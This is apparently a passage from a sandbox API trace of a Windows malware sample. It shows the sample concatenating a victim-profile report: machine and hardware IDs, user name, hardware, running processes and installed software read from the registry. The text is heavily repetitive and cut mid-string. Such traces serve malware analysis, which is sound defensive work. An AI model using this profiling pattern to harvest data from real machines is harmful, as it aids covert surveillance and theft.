[12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\n", lpString2="Microsoft Office Professional Plus 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016"
[0054.958] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.958] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 ["
[0054.958] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: 